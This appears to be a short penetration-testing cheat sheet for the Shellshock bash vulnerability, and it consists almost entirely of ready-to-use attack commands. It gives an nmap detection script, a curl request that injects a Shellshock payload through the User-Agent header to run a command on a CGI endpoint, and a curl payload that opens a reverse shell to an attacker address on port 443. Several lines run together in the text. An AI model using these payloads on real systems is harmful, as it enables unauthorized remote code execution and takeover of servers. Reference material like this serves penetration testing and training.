Shellshock
Introduction
Exploitation
Check if it works
nmap <TARGET> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgicurl -H 'User-Agent: () { :; }; /bin/bash -c whoami' http://<TARGET_IP>/cgi-bin/<app>.cgiReverse shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<A_IP>/443 0>&1' http://<TARGET_IP>/cgi-bin/admin.cgiReferences
Last updated